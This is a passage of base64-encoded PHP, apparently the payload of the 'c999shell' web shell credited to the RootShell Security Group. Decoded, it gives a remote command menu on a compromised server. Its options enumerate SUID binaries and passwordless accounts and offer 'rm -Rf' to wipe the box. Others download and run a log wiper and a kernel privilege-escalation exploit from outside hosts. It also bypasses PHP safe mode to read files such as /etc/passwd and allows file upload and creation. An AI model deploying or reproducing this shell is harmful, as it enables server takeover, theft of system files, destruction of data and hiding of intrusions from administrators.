ZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5h bWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPgogICAgICAgICAgPFNFTEVDVCBOQU1F PSJjbWQiPgogICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ1bmFtZSAtYSI+S2VybmVsIHZlcnNpb24K ICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Ij5Mb2dnZWQgaW4gdXNlcnMKICAgICAgICAgICAg ICAgIDxPUFRJT04gVkFMVUU9Imxhc3Rsb2ciPkxhc3QgdG8gY29ubmVjdAogICAgICAgICAgICAgICAg ICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vz ci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiPlN1aWQgYmlucwog ICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImN1dCAtZDogLWYxLDIsMyAvZXRjL3Bhc3N3 ZCB8IGdyZXAgOjoiPlVTRVIgV0lUSE9VVCBQQVNTV09SRCEKICAgICAgICAgICAgICAgICAgICA8T1BU SU9OIFZBTFVFPSJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8rdyAyPiAvZGV2L251bGwiPldyaXRl IGluIC9ldGMvPwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndoaWNoIHdnZXQgY3Vy bCB3M20gbHlueCI+RG93bmxvYWRlcnM/CiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0i Y2F0IC9wcm9jL3ZlcnNpb24gL3Byb2MvY3B1aW5mbyI+Q1BVSU5GTwogICAgICAgICAgICAgICAgICAg IDxPUFRJT04gVkFMVUU9Im5ldHN0YXQgLWF0dXAgfCBncmVwIElTVCI+T3BlbiBwb3J0cwogICAgICAg ICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImxvY2F0ZSBnY2MiPmdjYyBpbnN0YWxsZWQ/CgkJCQkJ PE9QVElPTiBWQUxVRT0icm0gLVJmIj5Gb3JtYXQgYm94IChEQU5HRVJPVVMpCiAgICAgICAgICAgICAg ICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3Jn L1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiPldJUEVMT0dTIFBUMSAoSWYgd2dldCBp bnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZ2NjIHphcDIuYyAtbyB6 YXAyIj5XSVBFTE9HUyBQVDIKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL3phcDIi PldJUEVMT0dTIFBUMwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDov L2Z0cC5wb3dlcm5ldC5jb20udHIvc3VwZXJtYWlsL2RlYnVnL2szIj5LZXJuZWwgYXR0YWNrIChLcmFk LmMpIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxV RT0iLi9rMyAxIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDEpCiAgICAgICAgICAgICAgICAg ICAgPE9QVElPTiBWQUxVRT0iLi9rMyAyIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDIpCiAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAzIj5LZXJuZWwgYXR0YWNrIChLcmFk LmMpIFBUMiAoTDMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA0Ij5LZXJu ZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxV RT0iLi9rMyA1Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDUpCiAgICAgICAgICAgICAgICAg IDwvU0VMRUNUPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0i MSI+CiAgICAgICAgJm5ic3A7CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZh bHVlPSJFeGVjdXRlIj4KICAgICAgICAgIDxicj4KICAgICAgICBXYXJuaW5nLiBLZXJuZWwgbWF5IGJl IGFsZXJ0ZWQgdXNpbmcgaGlnaGVyIGxldmVscyA8L2Rpdj4KICAgIDwvZm9ybT4KICAgIDwvdGQ+CiAg PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICA8Y2VudGVy Pktlcm5lbCBJbmZvOiA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Imh0dHA6 Ly9nb29nbGUuY29tL3NlYXJjaCI+CiAgICAgIDxpbnB1dCBuYW1lPSJxIiB0eXBlPSJ0ZXh0IiBpZD0i cSIgdmFsdWU9Ijw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCkpOyA/PiI+CiAgICAgIDxpbnB1 dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVmb3gtYSI+CgkgIDxpbnB1dCB0 eXBlPSJoaWRkZW4iIG5hbWU9InJscyIgdmFsdWU9Im9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsIj4K CSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGwiIHZhbHVlPSJlbiI+CgkgIDxpbnB1dCB0eXBl PSJoaWRkZW4iIG5hbWU9ImhzIiB2YWx1ZT0iYjdwIj4KCSAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9 ImJ0bkciIFZBTFVFPSJTZWFyY2giPgogICAgPC9mb3JtPjwvY2VudGVyPgogICAgPC90ZD4KPC90cj48 L1RBQkxFPjxicj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3Bh Y2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxMTYiIHdp ZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0x Pgo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50 ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8g

dXJsZW5jb2RlKCRkKTsgPz4iPjxiPlByZWRkeSdzIHRyaWNrcyA6RCA8L2I+PC9hPiA6OjwvYj48L3A+ PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48 Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoUmVhZCBG aWxlcykKICAgIDwvZGl2Pjxicj4KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4i PgogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICBGaWxlOiA8aW5wdXQgdHlwZT0idGV4dCIg bmFtZT0iZmlsZSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVhZCBG aWxlIj48YnI+PGJyPiBlZzogL2V0Yy9wYXNzd2Q8YnI+CiAgICAgIAogICAgICAKICAgICAgCiAgICAg ICAgICAgCiAgICAgIAogICAgICAKICAgICAgPD8KICAgICAgCiAgICAgIGZ1bmN0aW9uIHJzZ19yZWFk KCkKCXsJCgkkdGVzdD0iIjsKCSR0ZW1wPXRlbXBuYW0oJHRlc3QsICJjeCIpOwoJJGZpbGU9JF9HRVRb J2ZpbGUnXTsJCgkkZ2V0PWh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOwoJZWNobyAiPGJyPlRyeWluZyBU byBHZXQgRmlsZSA8Zm9udCBjb2xvcj0jMDAwMDk5PjxiPiRnZXQ8L2I+PC9mb250Pjxicj4iOwoJaWYo Y29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGUsICR0ZW1wKSl7CgkkZmljaGllciA9IGZvcGVuKCR0 ZW1wLCAiciIpOwoJJGFjdGlvbiA9IGZyZWFkKCRmaWNoaWVyLCBmaWxlc2l6ZSgkdGVtcCkpOwoJZmNs b3NlKCRmaWNoaWVyKTsKCSRzb3VyY2U9aHRtbHNwZWNpYWxjaGFycygkYWN0aW9uKTsKCWVjaG8gIjxk aXYgY2xhc3M9XCJzaGVsbFwiPjxiPlN0YXJ0ICRnZXQ8L2I+PGJyPjxicj48Zm9udCBjb2xvcj1cIndo aXRlXCI+JHNvdXJjZTwvZm9udD48YnI+PGI+PGJyPkZpbiA8Zm9udCBjb2xvcj0jMDAwMDk5PiRnZXQ8 L2ZvbnQ+PC9iPiI7Cgl1bmxpbmsoJHRlbXApOwoJfSBlbHNlIHsKCWRpZSgiPEZPTlQgQ09MT1I9XCJS RURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUKCTxCPiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIjwv Qj4gZG9zZW4ndCBleGlzdHMgb3IgeW91IGRvbid0IGhhdmUKCWFjY2Vzcy48L0NFTlRFUj48L0ZPTlQ+ Iik7CgkJCX0KCWVjaG8gIjwvZGl2PiI7Cgl9CgkKCWlmKGlzc2V0KCRfR0VUWydmaWxlJ10pKQp7CnJz Z19yZWFkKCk7Cn0KCQoJPz4KCQoJPD8KCQoJZnVuY3Rpb24gcnNnX2dsb2IoKQp7CiRjaGVtaW49JF9H RVRbJ2RpcmVjdG9yeSddOwokZmlsZXMgPSBnbG9iKCIkY2hlbWluKiIpOwplY2hvICJUcnlpbmcgVG8g TGlzdCBGb2xkZXIgPGZvbnQgY29sb3I9IzAwMDA5OT48Yj4kY2hlbWluPC9iPjwvZm9udD48YnI+IjsK Zm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgewoJZWNobyAiPHByZT4iOwogICBlY2hvICIkZmls ZW5hbWVcbiI7CiAgIGVjaG8gIjwvcHJlPiI7Cn0KfQoKaWYoaXNzZXQoJF9HRVRbJ2RpcmVjdG9yeSdd KSkKewpyc2dfZ2xvYigpOwp9Cgo/PgoKICAgICAgICAgIDxicj4KICAgICAgPC9kaXY+CiAgICA8L2Zv cm0+CiAgICA8L3RkPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNl bnRlcj4KICAgPGNlbnRlcj5QaHAgU2FmZS1Nb2RlIEJ5cGFzcyAoTGlzdCBEaXJlY3Rvcmllcyk6ICAg ICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2Vu dGVyIj48YnI+CiAgICAgIERpcjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcmVjdG9yeSIgbWV0 aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTGlzdCBEaXJlY3RvcnkiPjxicj48 YnI+IGVnOiAvZXRjLzxicj4KCiAgICA8L2Zvcm0+PC9jZW50ZXI+CiAgICA8L3RkPgo8L3RyPjwvVEFC TEU+PGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5n PTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIx MDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+ CiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBo cmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1zZWFyY2gmZD08P3BocCBlY2hvIHVybGVuY29kZSgk ZCk7ID8+Ij48Yj5TZWFyY2g8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ic2VhcmNoIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0i ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNl YXJjaF9uYW1lIiBzaXplPSIyOSIgdmFsdWU9IiguKikiPiZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2Jv eCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgIGNoZWNrZWQ+IC0gcmVnZXhwJm5i c3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJTZWFyY2giPjwvZm9ybT48L2Nl bnRlcj48L3A+PC90ZD4KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2Vu dGVyPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PXVwbG9hZCZkPTw/cGhwIGVj aG8gJHVkOyA/PiI+PGI+VXBsb2FkPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIiBFTkNU WVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9 InVwbG9hZCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPjxpbnB1dCB0eXBlPWhp ZGRlbiBuYW1lPSJtaW5pZm9ybSIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1l PXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRl cj48L3RkPgo8L3RyPgo8L3RhYmxlPgo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNv bGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUg aGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2Mw YzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxj ZW50ZXI+PGI+OjogTWFrZSBEaXIgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/ PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0 IiBuYW1lPSJta2RpciIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNw OzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/Pjwv Zm9ybT48L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48

Y2VudGVyPjxiPjo6IE1ha2UgRmlsZSA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBl PWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIg dmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmls ZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRl biBuYW1lPSJmdCIgdmFsdWU9ImVkaXQiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3Jl YXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJs ZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9 MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEw MCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0 ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IEdvIERpciA6 OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3QgdmFsdWU9ImxzIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZh bHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0i R28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0i dG9wIj48Y2VudGVyPjxiPjo6IEdvIEZpbGUgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRz dXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlw ZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZu YnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+ PC90YWJsZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0 PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz0wIHdpZHRo PSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0 cj48dGQgd2lkdGg9Ijk5MCIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PHAgYWxpZ249ImNlbnRlciI+ PGI+LS1bIGM5OTlzaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz4gPGEgaHJlZj0iPD9waHAgZWNo byAkc3VybDsgPz5hY3Q9YWJvdXQiPjx1PjxiPk1vZGRlZCBieTwvYj48L3U+PC9hPiBTaGFkb3cgJiBQ cmVkZHkgfCA8YSBocmVmPSJodHRwOi8vcm9vdHNoZWxsLXNlY3VyaXR5Lm5ldCI+PGZvbnQgY29sb3I9 IiNGRjAwMDAiPlJvb3RTaGVsbCBTZWN1cml0eSBHcm91cDwvZm9udD48L2E+PGZvbnQgY29sb3I9IiNG RjAwMDAiPjwvZm9udD4gfCBHZW5lcmF0aW9uIHRpbWU6IDw/cGhwIGVjaG8gcm91bmQoZ2V0bWljcm90 aW1lKCktc3RhcnR0aW1lLDQpOyA/PiBdLS08L2I+PC9wPjwvdGQ+PC90cj48L3RhYmxlPgo8L2JvZHk+ PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgYzk5OXNoZXhpdCgpOyA=')); ?>

You might also like